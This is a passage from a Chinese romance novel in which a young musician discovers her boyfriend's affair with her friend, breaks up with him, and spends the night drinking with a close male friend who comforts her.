回程的道路黢黑,梁亦芝大概也累了,少见的沉默寡言。顾寅言开车很稳,她闻着车上幽幽的香气,在那安神的氛围里沉沉睡了过去。
醒来时,车子正好到了小区门口。
顾寅言把车停在她家楼下,刚侧过身,旁边递过来什么东西。
因为刚睡醒,梁亦芝的眼睛没能完全睁开,额前几缕刘海乱了,戳着眼睛,她眯起来。
“喏,给你的。”她递来一个盒子,看着体积不小,“今天谢谢你。”
顾寅言接过打量了下:“什么?”
“里面是我挑的一个烛台,等你回去拆了看看。”
回玉城前,梁亦芝买了不少伴手礼,打算带给朋友。她有意想给顾寅言也买一件礼物,就挑中了这个烛台。
烛台是黑色的异形设计,做成了一只黑色的手部骨节,线条锋利繁复。手掌朝上,向上托举,像把世界掌控在手心里。
梁亦芝看到它的那一眼就觉得这和顾寅言的气质很契合,没多想便拿下了。
“感谢顾大少爷来接我一趟,毕竟你的时间那么值钱。”梁亦芝毫无形象地打了个哈欠,对他笑笑。
被梁亦芝那双水灵的眼睛注视着,顾寅言的思绪却蓦然开了小差。
梁亦芝这人,对待每一段关系都很真挚,无论爱情、亲情还是友情。
她瞧着好说话,可实则对身边人有一套自己的筛选条件,不会跟人滥交。
一旦她真心把你纳入自己的圈子,她就会变成失去支点的天平,无条件的向你那一侧倾倒。
不合时宜的,顾寅言脑海里莫名闪过方才那个画面。
牛皮的背包敞着口,放着一件小小软软的白色内衣。
夜已深,车外景色和顾寅言手里的烛台一样,漆黑沉郁,可路灯透进来,照在他脸上,依旧是面色清明。
他没跟她客套,收了东西直说:
“谢了。”
-
谢昀大概是心里还对放梁亦芝鸽子过意不去,这些天对她格外的温柔多情,简直让梁亦芝生出了即将迎来第二段热恋期的错觉。
谢昀说今天会来音乐厅接她下班。
梁亦芝刚迈出出口,就看见谢昀捧着一大束鲜花,站在不远处。
招摇至极,惹得行人纷纷艳羡。
今天的约会地点在一家高级的西餐厅。
吃饭时,谢昀掏出了一个丝绒盒子,推到她面前。
梁亦芝打开来看。
那是一条价值不菲的名牌项链,大概要四到五位数,梁亦芝第一次从他这里收到如此贵重的礼物,又惊喜又感动。
她问:“你给我买这么贵的礼物做什么?”
“不贵。只有这样的,才配的上你。”
谢昀对她受宠若惊的表情十分受用,起身走到她背后,伏身为她戴上项链。
戴好之后,他坐回位置,拿出手机:“给你拍两张?”
“好。”梁亦芝笑着应下。
谢昀拍了好些张,打开相册,自己扫了一眼,甚是满意。他把手机递给梁亦芝说:“你选选,我去趟洗手间,马上回来。”
手机交到梁亦芝手里,谢昀起身离开,去往卫生间的方向。
被一时的欣喜冲昏了头脑,梁亦芝忘记了之前所有的不愉快,心满意足地在谢昀的相册里,挑选自己的照片,准备今晚发一个朋友圈。
餐厅位于高层的落地窗前,桌上烛光跳跃,照片里她带着谢昀送的项链,瞳孔里映着摇曳的星点,脸上洋溢的笑容快能滴出蜜液来。
这时,谢昀的手机屏幕顶端显示进来了一条短信。
通知栏跳出一行字。
梁亦芝愣了一瞬,下意识点开。
发件人没有备注姓名,仅仅显示一串号码。
按照以往,梁亦芝是不会察看谢昀的手机的。她的处事原则是即使是再亲密的人,也要给对方留出隐私的空间。
可那行字让她没办法忽视这条内容。
梁亦芝点开短信页面。
【你不要这样对我,好不好?】
【是我太贪心了。我不想跟你结束。】
【在广州的时候不还好好的吗?】
【我真的不想这样,谢昀……是你在逼我。】
【我要去找梁亦芝。】
……
再往前翻,梁亦芝的笑容渐渐凝固在脸上。
短短几行字,梁亦芝终于明白了,为什么谢昀可以做到和自己相敬如宾?为什么他从不会对她有过分的要求。
原来是他早就有了其他的伴侣,来帮他解决性方面的需求。
她一直以为错以为的尊重和珍视,原来只是那个男人伪造出来、哄她甜心蜜意的另一张面具。
血液冷到凝结,颤抖着放下手机时,梁亦芝不小心碰倒了手边的高脚杯。
玻璃炸开,香槟四溅。
她的手指不经意间擦过尖锐的某块碎片,上面的茧厚到她几乎没有知觉。
梁亦芝掀起眼皮,看
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向身边刚从洗手间回来的男人。
瞳孔向上,眼睑泣血一般的红。
谢昀从未见过那样冷的眼神,直到他扫过梁亦芝手里的手机,僵在原地。
梁亦芝看着他的脸。想到了那晚,他捏着她的手,那副几近痴迷的嘴脸,让她想要呕吐。
-
梁亦芝独自回了家。
她浑身失力,腿都懒得抬,轻摆几下,甩掉了脚上的黑色高跟鞋。
包包被丢在玄关的地面瓷砖上,梁亦芝扑进柔软的沙发里。
她没打开灯。
万籁俱寂,室内漆黑的能够吞没整个人。
梁亦芝很少感受到像这样深深的无力感,麻木她的每一寸皮肤,刺入她每一根神经。
梁亦芝翻出手机,打开社交软件,划了又划。
她其实什么也没看,只是机械性地重复着手指动作。双目扫过屏幕上纷呈的一条条讯息,大脑却没有把它们的内容摄入进去。
翻够了,梁亦芝又点开通讯录,找到一个号码拨出去。
通话铃一声接一声。
梁亦芝在心里数着数。
第五下的时候,电话被人接起。
“——喂。”
“顾寅言。”梁亦芝问,“你在做什么?”
“在公司。”
“还在加班?”
“不算加班。”顾寅言道,“只是有些东西还没看完。”
金属质感的声音,低沉又平稳。
她莫名地想再多听两句。
“你吃晚饭了吗?”
梁亦芝侧身躺在沙发里,闭着双眼,双臂垂下,手机盖在脸颊上。
“嗯。”
“吃的什么。”
“外卖。”
“哦。”梁亦芝懒洋洋地应,“怎么不让江姨给你做?”
那端,顾寅言应该是合上了什么东西,传来轻轻的纸张合页的声音。梁亦芝听见他沉了声气:
“……你看看几点了?江姨也该下班了。”
梁亦芝:“没想到你还是个挺有人性的资本家。”
顾寅言:“……”
沉默了会儿,没有人再开启新的话题。
梁亦芝依旧躺在昏暗的房间里。
沙发旁边不远,正对着落地窗。
外头突然传来沉闷的嘀嗒响声。
梁亦芝睁开眼,看见玻璃上留下了细细长长的斜纹,水迹一道道裂开,又被一道道覆盖。
下雨了。
真是一场会挑时间的雨。
雨天总是有这样的魔力,让人浑身犯懒,侵蚀你的身体,连骨头都酥酥麻麻地泛着疲劲。
梁亦芝和顾寅言又说了两句没营养的闲话,困意突袭,她撂下耳边的手机,在沙发里昏昏沉沉地睡了过去。
再次睁开眼,是因为听见了轻促的门铃声。
梁亦芝支起身子,迷蒙着眼,费了老大劲从陷着的沙发里起身,走到门口。
接通可视门铃,屏幕上显现的,竟然是顾寅言的脸。
梁亦芝不太确定:“……顾寅言?”
画面的像素不高,单元楼门口仅一盏要亮不亮的声控灯,在她的声音传播过去后,像燃烧殆尽的蜡烛,短促地灭了又亮起。
顾寅言个子很高,摄像头只在他肩膀以上,画幅无法框住他的躯体。
镜头里只能看见他的下半张脸,微动了动。
“要下来么?”顾寅言对监控这头问。
梁亦芝心一颤,大脑还没清醒:“你怎么来了?”
“不是哭了么?”他淡淡地提起,“在电话里。”
5. 烛台
梁亦芝张了张嘴。
她以为自己没有露出任何破绽,可原来还是被他发现了。
就在那场雨下起来的时候。
没得到回复,顾寅言再次开口:“不下来我就走——”
“下!马上下!”梁亦芝连忙喊住他。
分贝乍然提高,梁亦芝才发现她的喉咙像卡了烟灰,极其沙哑。
她清了清嗓子,抹了下微肿发酸的眼角和脸上半干的泪痕。
“等我两分钟,很快!”
“披个外套再下来吧。”
楼下,顾寅言抬头,望了眼乌云密布的深沉天空。他探出手,掌心交错的纹路里很快聚起一滩晶莹的水珠:
“雨下大了。”
梁亦芝还是要面子的,不想被外人看见她过于狼狈失态的一面,哪怕是顾寅言。
她冲进厕所,检查了下自己的脸,妆全花了。
她没犹豫,干脆卸妆洗了把脸,裹了件门口衣架上挂着的外套下了楼。
推开单元门,顾寅言侧过身。
梁亦芝没敢直视他,让他窥见自己肿胀的双眼,她只是低着头,双臂挡在胸前,用外套把整个人裹得紧紧的。
洗净的素颜清丽动人,哭过后,她眼角和鼻头的红尚未消去。
梁亦芝的脸很小,脸型偏短。头微微低下一些角度,整个脸都埋进了外套的毛领口,看不到了。
见顾寅言的车就停在对面,梁亦芝作势就要往雨里冲,被顾寅言伸手拦住。
他撑开一把黑色的长柄伞,站到她后方,这才抬了抬下巴,示意她先走。
上了车。
顾寅言的车里开了空调,密闭的空间里流淌着与外界截然不同的暖意,让梁亦芝的身体也回温了几分。
伞还在沥水,顾寅言把伞收了,放到后座,才坐进驾驶座里。
梁亦芝扭头,看见他大衣的肩膀上落下了稀稀拉拉的雨迹。
她略显不好意思地开口:“那个……你怎么突然过来了?”
一旁的男人启唇:“大概是过来看你的笑话。”
梁亦芝轻轻地“嘁”了声。
但不管怎么样,现在有人陪在她的身边,方才动荡无主的思绪总算是安定几分。
电话的开头,顾寅言其实就察觉到了梁亦芝的不对劲。起初他只当她是和平常一样心情不畅,所以才想抓着自己闲聊解闷。
可她话匣子不停,话里弯弯绕绕,却始终说不到重点上。
外头雨滴落下时,顾寅言听见几声很短、很轻微的抽气声。
混着外面淅沥的雨声,细微如丝。
像是憋了很久,努力克制着的情绪终于丢盔卸甲,从那个隐秘的缺口不胫而走。
梁亦芝哭的样子他太熟悉。
她哭的时候,总是会下意识把要说的长句都拆成短句,来掩饰自己的哭腔,尾音又带着一点点难以抑制的颤抖。
她哭起来跟别人不太一样,安安静静的,基本没有什么声音,只有啜泣时偶尔哽咽的换气声,一抽一抽的。
顾寅言说过她平时像个小喇叭,可一旦碰上事儿就哑了。
他问她:“所以发生了什么事?”
梁亦芝顿了顿,开门见山道:
“我和谢昀分手了。”
“今天晚上吃饭的时候刚分的。”
顾寅言正抽了几张纸,慢条斯理地替自己擦去身上的雨水。听见她这话,肩膀上擦拭的手一滞。
他动作缓下来:“……你提的?”
“对。”
“为什么?”
“……他出轨了。”
顾寅言没想到这一层。
梁亦芝吸了吸气,继续说:“我拿着他的手机。正巧有消息进来,我就看了。”
“谢昀跟那个女人,保持了很久的联系,至少有三个月了吧。但他最近不知道为什么,忽然想结束了。对方气急败坏,就一直发短信来威胁他。说他睡完就跑,还说如果他真的要跟她分手,她就要把他们发生过的事情全部都告诉我。”
那几条短信已经复刻在她脑海里,怎么都忘不掉。
每一行字都让她心惊、让她怒不可遏。
“最可笑的是,”梁亦芝无力地牵了下嘴角,“你知道他出轨的是谁吗?”
顾寅言看着她的眼睛,没有说话。
“赵泠。”梁亦芝说。
“就是那个他每天挂在嘴边的女生,跟他认识了好几年的好朋友。”
梁亦芝越说越觉得,自己就像个小丑。
那天生日聚会,赵泠对她说那番意义不明的话时,她就该察觉到的。
明明赵泠才是那个第三者。
可那两人的暗中勾当,让她觉得仿佛她这个正牌女友才是其中的局外人。
梁亦芝讨厌背叛、讨厌不诚实的人。
更憎恶践踏别人真心的人。
当着她的面,谢昀使出了舌灿莲花的本事向她辩解:
“芝芝……芝芝你听我解释!那都是赵泠单方面的,你也看到她说的了,我没有想要跟她在一起。从始至终我爱的都只有你——”
“所以……她说的你们之前的那些关系,也是真的对么?”
“不是,不是这样的……”
谢昀百口难辩。
眼前,挡风玻璃被雨浇湿,车前的景色化在雨水里一片扭曲。
梁亦芝回想起谢昀跪在自己面前的样子。
“你知道他跟我说什么吗?”
“他说一开始也是意外,他不小心犯了浑,跟赵泠只是保持着床伴的关系,各取所需。”
“他说他虽然□□出轨了,可精神上没有,他的心永远都是在我这的。他爱我,所以他不舍得碰我。”
“多荒诞的一句话。”梁亦芝仰着头,垂眼靠在椅背上,“可他竟然能说得那么深情。”
梁亦芝没想到,她自以为是地以为已经全方位了解了一个人,却没发现那绅士的表象只是他的一层外壳,内里实则是个不要脸皮、内心烂到极致的渣滓。
“好听的话谁都能说。”顾寅言静默了会儿,听她说完才开口。
“欲望是本能,可是否忠于你是他可以决定的选择。”顾寅言把几张湿漉漉的纸巾团进手心。“他靠下半身做了这个决定。”
梁亦芝抿着唇,牙齿紧咬着,鼻尖微微的抽动。
“顾寅言。”梁亦芝问,“我的恋爱经历是不是很失败?”
顾寅言嘴下留情:“只能说不算成功。”
梁亦芝正经的恋爱经历,追溯起来要从高中毕业后才开始。和谢昀在一起,是她人生中的第三段感情经历。
第一次恋爱,男方是她上大学时的同班同学,邻家大哥哥的类型,长相过人,成绩优异
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。因为是初恋,梁亦芝付出很多,几乎把自己里里外外都掏了个底朝天,拿出真心给人家看。
那男生家境不好,梁亦芝就一直帮衬着他,谁知到最后,他竟然狮子大开口,让梁亦芝给自己家里买一辆车。
他蛮不在乎地说:“不行的话,你把你现在那辆车送我呗,我不挑的。”
梁亦芝这时才看清他的为人。
曾经校园里传的沸沸扬扬的流言蜚语最终被证实,他从一开始就是看中她的家境才接近她。
那次恋爱伤梁亦芝很深,她的第二段恋情,时隔很久才重新开启。
只是这一次的结果仍旧不了了之。
对方大梁亦芝两三岁,是个极会说甜言蜜语的男人。温柔时讨得梁亦芝心花怒放,吵架时也能哄得她心软的一塌糊涂。
可他们相处异地,一旦分开,对方就跟人间蒸发了似的,怎么也找不到了。
梁亦芝受不了这种冷暴力,两人分道扬镳。
在和谢昀在一起之前,梁亦芝把考察期拉了很长很长。他们是经朋友介绍认识的,谢昀的人品,在朋友圈里都有见证。
谢昀只是小康家庭,父母都是平凡的普通人。他从小刻苦上进,踏踏实实,无任何不良嗜好。
也就是这样的平淡和普通,才让梁亦芝选择接受他的追求。
哪想到如今转眼间,这段恋情又成了她的黑历史。
“顾寅言。”梁亦芝忽然问,“你跟你之前那个女朋友,什么时候分手的?”
顾寅言说:“不是聊你的事情么?怎么又扯到我这了。”
“就是想知道,你分手的时候是什么感觉?”
“也这么难过吗?”
她知道顾寅言有过那么一段恋爱经历,不过时间不长。
那会儿他们俩都身处异国,梁亦芝听说顾寅言交了个女朋友时,还兴冲冲地打探那个女生的消息,问她叫什么名字,爱吃什么东西,都有什么兴趣爱好。
她很好奇顾寅言的女朋友会是什么样的一个人,想象那个女生会不会跟她也成为朋友。
只是后来过年时她回国,就听说,顾寅言跟那个女生已经分手了。
她连面都没见上一面。
顾寅言面色淡然,像是简短回忆了下,回答她:“没你这么狗血的戏码。就是和平分手。”
“那你难过吗?”
“还好。”
“……没心没肺。”梁亦芝幽幽地骂了句。
顾寅言漫不经心:“怎么?要跟我比惨?”
“不行吗?”梁亦芝信口开河。
可话说出一半,她又摆摆手道:“算了算了,这种滋味太难受了,我希望你还是别感受过比较好。”
作为她的朋友,她还是希望他们每个人都能万事顺遂。这种苦,她一个人尝过就够了。
雨滴啪嗒啪嗒地落下,砸在车顶,打落一旁树上枯黄的枝叶,是一场天然的白噪音乐曲。
顾寅言没回答她的话,发动车子,系上安全带。
“想去逛逛吗?”他问。
梁亦芝转了转眼珠。
要带她去兜风吗?
梁亦芝:“还有这待遇?”
“有。”顾寅言打开雨刮器,挡风玻璃上的水迹被抹去,车外昏黄的灯光混沌地映照在他凌厉的面孔上。
“是仅此一次的失恋特权。”
6. 白巧克力
回想顾寅言当时的表现,只是特别的平淡,没有太多的情绪外露。
连语调都从始至终保持一致。
他没有陪着她讨伐谢昀那个狗男人,没有追问她更多细节,更没有安慰她别难过、世界上男人有的是诸如此类的话。
梁亦芝突然觉得,有时他这样一如既往平缓的语调也挺好的,那让人感觉不管发生什么都不算大事,你根本不用慌张。
顾寅言的存在,对她而言,有点像是寺庙里点燃的一只香。
笔直地立在香灰里。
安安静静地燃,无声无息地焚。
闻到味道便觉得心安。
在顾寅言面前,她不用伪装,不用隐瞒。她可以把自己全盘托出,而他是值得她信任的那个人。哪怕全世界都欺骗他,她相信,顾寅言是唯一会对她诚实的那一个。
她就是有这样去相信的底气。
一路上下着濛濛细雨。
顾寅言开着车,余光打量梁亦芝。
她端正地坐在他身边,头靠着后枕半仰着,眼神淡淡地望向窗外,露出修长洁白的脖颈。
梁亦芝外套下只穿了件修身的开衫,领口处削瘦的锁骨露在外,透着冷意。
顾寅言刚想开口说送她回去,梁亦芝就出了声:
“顾寅言。”
“我想去个地方。”
顾寅言开车到梁亦芝说的地址停下。
这里是一家非常大的清吧,店面有两层,一楼有个室外花园,二楼露台每天夜晚八点后开放。
店里放着旋律优美的R&B,舞池中心的人们擦着肩轻轻摇摆。
他们顺着楼梯上了二楼。
今天运气好,原本下雨天露台应该关闭,大概是老天爷也心疼她,路程一半的时候,雨便停了,露台简单清理后会重新开放。
来到卡座坐下。
梁亦芝说:“我在网上看过这家店,一直想来没来成。听说这里的酒度数不高,但口味很特别。”
她拿着酒单问顾寅言:“你有什么想喝的吗?”
顾寅言无所谓:“都可以。”
“那我就看着来了。”
顾寅言没想到,梁亦芝的“看着来”是把酒单按顺序点了个遍。
服务生端来酒,来回走了好几趟,最后一张方桌上竟然有二十多杯,各式各样的都有。
顾寅言扫一眼,挑了挑眉:“我以为你只是想买醉,没想到是来酗酒。”
“都不是。”梁亦芝拿起一杯酒,塞进他手里,又捧起另一杯举到他面前。
“是庆祝。”
远离渣男,恢复单身,怎么会是令人难过的事情呢?
顾寅言看了梁亦芝好一会儿,最后低眸,倾斜了下杯身,轻轻碰了下梁亦芝的。
轻微的脆响被淹没在酒吧的音乐声里。
他们按着顺序,从左到右,一杯接一杯地尝。什么血糯米、雪梨、咸蛋黄……每一杯都能品出不同的风味,梁亦芝不常喝酒,觉得很新奇。
中途,顾寅言端着酒去了露台,接了个电话,时间有点久。
梁亦芝独自坐在原位,身旁的沙发忽然微微一陷。
她抬头,是一张陌生但还算秀气的男人面孔。
对方勾着笑问她:“这里这么多酒,可以跟你喝一杯吗?”
梁亦芝大脑有些发晕,可人还清醒着。
她问:“你确定你是要跟我喝酒吗?”
男人笑了:“不喝酒,做点别的也可以。”
梁亦芝也笑了。
男人刚想把手放到她的大腿上,梁亦芝却自己靠了过来。
他一愣,没料到她的主动,感受到她凑近自己的耳边,刚喝过酒的温热气息喷洒在耳廓,酥酥麻麻。
男人心颤了几下,听见梁亦芝对他说:
“……滚吧。”
“……”
她没再给他眼神。
梁亦芝站起身,径直去了露台。
顾寅言挂断电话时,发现梁亦芝正站在自己身后,看起来等了有一会儿。
她面颊红扑扑的,应该是喝了太多种类的酒,人晕的比平时要快,朝他走来的那几步路都飘飘然。
“你怎么打了那么久电话……”
她端着酒杯晃到顾寅言跟前,把杯子递过去,“这个白巧克力的酒好特别。你尝尝。”
顾寅言看着那双白嫩细腻的手,攥着酒杯递过来。
店内的灯光反射,在透明的杯壁和深咖色的液体上投下混乱的光影。
他冷声谢绝:“你自己喝吧。”
“你就尝一口,真的很好喝。不骗你。”
她把酒杯举到嘴边,又小啜了一口,像是在二次确认味道没有问题。
明明就很好喝。
梁亦芝舌尖舔舔唇,咂巴了下嘴回味。
梁亦芝的想法很单纯,只是想给他分享这杯酒。她跟顾寅言这么熟,只是一杯酒而已,也没必要分谁喝没喝过,又不是只有一个口。
顾寅言推脱两次,发现微醺的梁亦芝极其的固执。
他思忖片刻,最终还是接过酒杯,仰起脖子,浅浅抿了下。
清凉的酒液入口,经过舌尖时柔滑甜腻,味道一点都不像酒该有的。
非常小女生的一杯甜酒。
顾寅言自然没有很喜欢。
他把酒杯还给她,发现梁亦芝一直在盯着自己看。
顾寅言问:“在想什么?”
露台上做了面朝街边的吧台。梁亦芝倚靠在那,感受着沁人的风。因为下过雨,楼底飘来的桂花香气更甚,卷着股湿意。
她看着眼前高大英俊的男人,说:“刚刚有人过来跟我搭讪。”
“是么?”顾寅言应声。
“你怎么打发的?”
“我让他滚。”
顾寅言瞥了她一眼。
梁亦芝明显是醉了,风吹过来,掀起她耳边的长发,像后飘扬,漏出耳垂和耳骨上闪烁的光芒。
她的眼睛因为之前哭过,这会儿还很干涩,迎风一吹,眼泪又在眼眶内蓄满了,将将要坠下来。
“但我现在有点后悔了。”
梁亦芝眯起眼睛。
顾寅
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言面色寡淡,视线瞥过来,握着玻璃杯的修长手指紧了紧。
骨节在薄薄的皮肉之下浅浅伏动,长而细的手背脉络微微凸起。
“为什么?”他问。
“就是感觉,其实我也可以试一试不是吗?”梁亦芝手肘撑着吧台,托着脸,轻轻旋着玻璃杯中的液体。
远处是空旷的柏油马路,亮着昏黄的路灯,快接近十二点,对面街道的店铺统统紧闭大门,一派寂然。
露台上的人不多。而梁亦芝的意识显然已经混沌,分手的余痛在酒精催化下,这会儿又开始发作。
“顾寅言。”她问得认真。
“我真的一直很好奇,为什么有的人总是可以这样随随便便地开启一段关系?”
冲动随意地开始、潦草不堪地结束。
把真心和底线扔到地上碾,最后只剩下一片狼籍。
梁亦芝:“如果……如果我放下那些所谓的约束,是不是就没那么容易受伤了?”
如果她像他们一样,把自己放开一点,不要把一切人和事都太当回事,是不是就不会那么痛了?
“人要学会克制。”晚风吹起顾寅言的刘海,露出锐利的眉眼。“任由欲望冲动,一味追求刺激,那是动物才会做的事。”
顾寅言声音很低,眉目清明:“梁亦芝,不要一时上头。”
他的话里,带着某种提醒的意味。
梁亦芝忽然有点后悔刚刚分了他那杯酒,心里很堵。
她不爱听顾寅言像个理中客一样说些大道理。
他明明是她的好朋友。
他为什么不能永远无条件的站在她那边、永远支持她的所有想法?
“上头?”
梁亦芝笑了,笑声很轻:“我现在一点也不上头。我很认真。”
顾寅言不明白她在笑什么。
她是真醉了。
梁亦芝只觉得酒真好,她现在觉得风轻轻的、人也变轻了,心事都被吹散了。
她珍视自己的感情,也看重生命里有过共同经历的每一位过客。她把爱情看得非常美好,不想太快地让它过渡成性,总想着先谈感情。
可那些人把她变成了一个笑话。
梁亦芝发觉,自己视若珍宝的纯洁的感情,在他人那里却是如草芥一般微不足道。
她忽然生出某种难以言说的逆反心理。
既然无人在意,那干脆全放下好了。
她重重磕下杯子,声音极响,对顾寅言,又或者是这个露台上的所有人,郑重道:
“我不管!什么狗屁纯爱!我不干了!”
“老娘今年,要玩花的!!”
露台上的其他客人听见这声响,齐刷刷朝梁亦芝看过来。
梁亦芝不在意别人的目光。
既然所有人都可以,那她为什么不可以?
顾寅言没说话,只是看着她,眸光微暗,深不见底。
他知道,梁亦芝现在很不清醒,也并未对她的豪言壮语发表多少评价。
顾寅言捧着手里的酒,垂眼抿入,淡淡答:“你试试看。”
7. 事后
血液涌到头顶,发表完这一番豪言壮语,梁亦芝扬着脸,举着杯,人直直地向后仰去——
顾寅言迈一步靠近过来,单手搂住她的腰,把人稳稳地拖住。
果然发酒疯是失恋人的必经之路。
那句“这里的酒”度数不高,就像是一句玩笑话。
顾寅言买了单,把人塞进了车,叫了代驾。
一路上梁亦芝还能叽叽喳喳地说话,所以顾寅言判定她虽然醉了,但应该还留存着一点清醒的意识。
他们坐在后座,抵达时,顾寅言先行下了车,再绕到另一侧,准备让梁亦芝下来。
他刚绕到车门前,车窗不知什么时候全降了下来。
梁亦芝双臂叠在窗沿上,下巴垫着自己的胳膊,笑盈盈地望着他。
“顾寅言,你到家了?”她甚至朝他招手,“那拜拜——”
顾寅言无语,毫不留情地直接拉开车门,一手还不忘扶住失去支撑的梁亦芝:
“是你到了。下来。”
他刚把人从车里拽下来,远处修长的身影扭着步子,也朝这个方向而来:“到底怎么个事儿啊?大半夜的把人叫出来?”
何嫚穿着睡衣,趿拉着拖鞋,在夜风中也站着笔直,丝毫不惧寒风。
她走近才看到醉醺醺的梁亦芝,喝一声:“你们上哪儿喝了?不带我?”
何嫚弯下腰,快凑到梁亦芝的鼻尖上问,仔细打量:
“这不会是你灌的吧?”
“少说风凉话了。”顾寅言把人推给她,“你带走。”
何嫚搂着梁亦芝的肩,仍感困惑。
凌晨一点,她刚刚到家,就接到顾寅言的电话,让她出来接人。鲜少见到梁亦芝如此酩酊大醉的模样,她多少有些不放心,开口询问:
“她今天怎么了?喝得这么多?”
“她跟谢昀分手了。”顾寅言瞥一眼站得歪斜的梁亦芝,说,“至于具体的原因,等她清醒了自己跟你说吧。”
“我不方便进她家,而且也怕谢昀明天过来找她。让她在你这呆两天吧。”
听完顾寅言的话,何嫚的嘴慢慢张成了O型,她尚不清楚事情的来龙去脉,回忆起上次夜谈,她逐句回味自己的发言,应该没有说错了什么话吧。
何嫚道:“行吧,我知道了。不早了,你赶紧回。”
她摆摆手,拖着梁亦芝上了楼。
顾寅言在原处,望着她们的背影,消失在单元楼的电梯间。
灯光熄灭,他才转身,上了车。
-
谢昀的情况很不好。
当天在西餐厅,谢昀当众给梁亦芝跪下,向她道歉认错,求得她的原谅。
然而对面成了铁石心肠,任他说什么都无动于衷。
回去后,谢昀发现自己的各种联系方式都已经被梁亦芝拉黑,他根本无法联系上她。
他们真的就这么结束了么?
他不相信。
梁亦芝那样心软的人,只要他再诚恳一点、表示出自己的决心,他打赌她一定会回心转意。
第二天上班前,谢昀又去了梁亦芝家门口等着。
他按了门铃,无人接听,打电话也是无法联络的状态。他一直等啊等,眼看打卡时间已过,再不到公司会被扣全勤,他哀怨地望了眼楼顶的方向,悻悻离去。
这一天,谢昀班也上不好,东西也吃不进去,手机里还时不时收到赵泠不断变换号码发来的各种消息。
谢昀的脑子都快爆炸了。
都怪她,如果不是她,他们的事怎么会被梁亦芝发现?
午饭跟同事一起,谢昀吃得心不在焉,筷子在餐盘里拣了又拣。
手机震动,他本不想理会,可又担心是不是梁亦芝联系自己,他又拿出来看。
谁知收到的,竟然是赵泠发来的明炬大楼的照片。
筷子一时没拿住,当啷一声摔在桌上。
同事们投来目光。谢昀找借口,说想起来自己有个活还没交,慌张地端着盘子匆匆离开。
他来到楼下,一眼找到赵泠,确认了眼周围没有其他眼熟的同事。谢昀快步上前,拉上赵泠的手,把她带到角落。
“你疯了吗?”谢昀气急败坏,“跑到这里来干什么?”
“你怕什么?”赵泠睨他一眼,“这里没人知道我们俩的关系。反倒是你把我拉到这里,更引人怀疑好么?”
谢昀冷笑:“所以你到底想怎么样?拜你所赐,梁亦芝已经跟我分手了!”
“分手了?”赵泠脸上露出喜色,“那就算她识相,你更没有理由结束我们的关系。”
谢昀面色沉重,赵泠靠过去,拍拍他的脸颊,“高兴点儿。”
谢昀撇开脸,十分抵触她的触碰:“赵泠,我们真的结束了,那一开始就是个错误。”
“错误?”赵泠讥笑,双眼讽刺。
“谢昀,你忘了你怎么说的?你说我身材比梁亦芝好很多,还说我不像梁亦芝那样不让人碰。这些话我都有录音,你想听听自己当时有多下流么?”
谢昀瞪着眼看向她,没料到赵泠竟留了这一手。
赵泠还没说够,泄愤一般:“怎么?她不让你碰,现在分手了,反而成了你的白月光了?我就只是一双穿烂了的鞋子对么?”
“谢昀,你知道你的问题在哪儿吗?你就是太怂!你不敢碰梁亦芝,怕把她这棵摇钱树赶走了,所以只敢对我下手!你做了亏心事,如今还不敢负责,天底下哪有这么好的事?”
谢昀彻底噤了声,他想反驳,可张嘴后,却一句话也说不出来。
赵泠:“反正我们也不可能再做朋
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友了,只有等到我玩腻了你才能走。否则,你就等着被全公司当作谈资吧。”
有了赵泠这么一记下马威,谢昀的这一天更加难熬了。电脑打开文档又关闭,什么东西也看不进去,原本半天就能完成的任务,愣是拖了一天也赶不出个进度。
他心里装着事,怕赵泠又干出什么出格的事情,担心她会去找梁亦芝,无论如何他都静不下心来。
终于挨到快下班,今天下班后有一个例行周会,谢昀作为组长,应该参加汇报。
可他实在是等不下去了。
同事过来对他说:“组长,我这边整理的数据发过去了,你注意查收。”
他看见谢昀着急忙慌地收拾东西,疑惑问:“组长,你有事?”
“有事,今天的周会,我就不参与了,汇报之后我再补上。”
“可是——”
同事还没说完,谢昀已经拿上手机和外套离开了。
临近六点。
各个部门的同事们拿上电脑,进入会议室,坐在长桌的两端。
今天要进行集中汇报,人人都盯着自己电脑里的文件,内心做着总结。
时间一到,会议室的门再次被推开。
顾寅言向来很准时。他阔步走进来,小唐跟随其后。
在公司见到这位顾总的机会不多,强大的气场让室内空气都变得稀薄。
“都到齐了?”顾寅言先开口。
部门间的同事你看我、我看你,没人敢吱声。
顾寅言在长桌一端坐下,抬眼扫了下会议室里的所有人。
他一眼就觉出异常,皱了皱眉,淡声问:“谢昀呢?”
室内沉寂几秒后,最后一个见过谢昀的李默开口:“组长说他有点事。”
“私事公事?”
“这个……就不太清楚了。”
顾寅言看向身边:“小唐,你没做好通知么?”
唐秘书:“中午就给全体员工的邮箱发过邮件了,确认通知到位。”
会议室内鸦雀无声。
偶有几个职员,暗暗交换眼色。
他们确实下午就收到了今天大老板要来参加周会的邮件,也不知道为什么谢昀竟然敢在这个节骨眼翘班。
李默在心中抹了把汗,他以为组长是按程序走的请假流程,现在这个情况看来……
想到这,好心的李默再次举手,谨慎开口:“顾总,我现在给谢组长再打个电话吧,他可能真有要紧的事……”
“不需要。”顾寅言否决了他的提议。
“还是说他不在你们都没法汇报?”
顾寅言声色平缓,却带着无形的压迫。
李默神情仓皇,脊背瞬间挺直:“不是的,可以汇报!”
顾寅言不再多言:“那就开始吧。”
8. 旧照片
谢昀在梁亦芝家等了一夜,依旧未果。
那头,梁亦芝躲在何嫚家里,获得了短暂的几天清净。
晚上,何嫚回到家,刚进门就大呼梁亦芝的名字,吓得梁亦芝以为出了什么大事。
何嫚:“我刚刚回家,开车顺路去你家那儿兜了一圈。”
“谢昀真在那,就坐在你家楼下,跟个荒野孤魂似的,太恐怖了!”
何嫚拍拍胸口:“还真被顾寅言这老狐狸说中了,幸亏你过来的早,否则指不定要被他缠到什么时候!最讨厌这种分手还分不痛快的了!”
何嫚叉着腰,打开冰箱里的矿泉水咕嘟咕嘟灌下。
梁亦芝已经抽空收拾了自己的行李,把大部分都搬到了何嫚这。
换个环境对她来说不仅是安全问题,也省得触景生情、睹物思人。
何嫚:“你说他都承认出轨了,怎么还好意思腆着脸来找你?”
梁亦芝只是摇摇头。
对面何嫚突然拿着手里的矿泉水瓶指向她:
“别动。”
梁亦芝怔然。
何嫚随手拿过桌上的一个镜子,打开给她:“你看你看,你再敢露出这种表情试试看?”
梁亦芝呆呆的看着镜子里的自己。
她的状态看起来确实不好,眼下难得冒出了黑眼圈,嘴唇也略显苍白,一张脸白的毫无血色。
下巴上还冒出了几个痘。
梁亦芝拿手摸了摸:“最近想的有点多……”
